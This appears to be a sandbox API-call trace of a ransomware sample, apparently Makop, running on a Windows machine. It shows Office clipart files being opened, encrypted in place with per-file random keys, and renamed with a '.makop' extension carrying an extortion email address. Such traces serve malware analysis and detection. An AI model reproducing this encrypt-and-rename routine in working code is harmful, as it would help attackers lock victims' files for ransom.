wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0111.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.302] GetProcessHeap () returned 0x48a0000 [0111.302] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.303] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.303] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.303] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.308] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.308] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.308] GetProcessHeap () returned 0x48a0000 [0111.308] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.308] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.308] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.309] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.309] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.309] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.309] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x85c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x85c, lpOverlapped=0x0) returned 1 [0111.309] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x860, dwBufLen=0x860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x860) returned 1 [0111.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.310] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x860, lpOverlapped=0x0) returned 1 [0111.310] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.310] SetEndOfFile (hFile=0xf0) returned 1 [0111.317] GetProcessHeap () returned 0x48a0000 [0111.317] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.317] GetProcessHeap () returned 0x48a0000 [0111.317] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.317] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.320] CloseHandle (hObject=0xf0) returned 1 [0111.320] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0111.320] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0111.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.321] GetProcessHeap () returned 0x48a0000 [0111.321] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.321] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.326] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.326] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.326] GetProcessHeap () returned 0x48a0000 [0111.326] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.326] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.326] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.327] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.327] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.327] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.327] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.327] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.327] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.328] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.328] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xadc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xadc, lpOverlapped=0x0) returned 1 [0111.328] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xae0, dwBufLen=0xae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xae0) returned 1 [0111.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.328] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xae0, lpOverlapped=0x0) returned 1 [0111.328] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.328] SetEndOfFile (hFile=0xf0) returned 1 [0111.337] GetProcessHeap () returned 0x48a0000 [0111.337] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.337] GetProcessHeap () returned 0x48a0000 [0111.337] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.337] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.339] CloseHandle (hObject=0xf0) returned 1 [0111.339] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0111.339] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0111.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.340] GetProcessHeap () returned 0x48a0000 [0111.340] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.340] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.340] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.340] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.344] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.344] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.344] GetProcessHeap () returned 0x48a0000 [0111.344] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.344] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.345] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.345] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.345] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.345] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.345] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.345] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.346] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.346] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.346] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.346] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaec, lpOverlapped=0x0) returned 1 [0111.346] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0) returned 1 [0111.346] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.346] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaf0, lpOverlapped=0x0) returned 1 [0111.346] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.347] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.347] SetEndOfFile (hFile=0xf0) returned 1 [0111.354] GetProcessHeap () returned 0x48a0000 [0111.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.354] GetProcessHeap () returned 0x48a0000 [0111.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.354] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.356] CloseHandle (hObject=0xf0) returned 1 [0111.356] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0111.356] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0111.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.357] GetProcessHeap () returned 0x48a0000 [0111.357] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.357] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.357] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.358] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.358] GetProcessHeap () returned 0x48a0000 [0111.358] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.358] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.358] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.358] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.377] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.377] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.377] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.377] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.378] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.378] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.379] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.379] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.379] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb90, lpOverlapped=0x0) returned 1 [0111.379] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb90, dwBufLen=0xb90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb90) returned 1 [0111.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb90, lpOverlapped=0x0) returned 1 [0111.380] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.380] SetEndOfFile (hFile=0xf0) returned 1 [0111.390] GetProcessHeap () returned 0x48a0000 [0111.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.390] GetProcessHeap () returned 0x48a0000 [0111.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.390] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.395] CloseHandle (hObject=0xf0) returned 1 [0111.395] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: 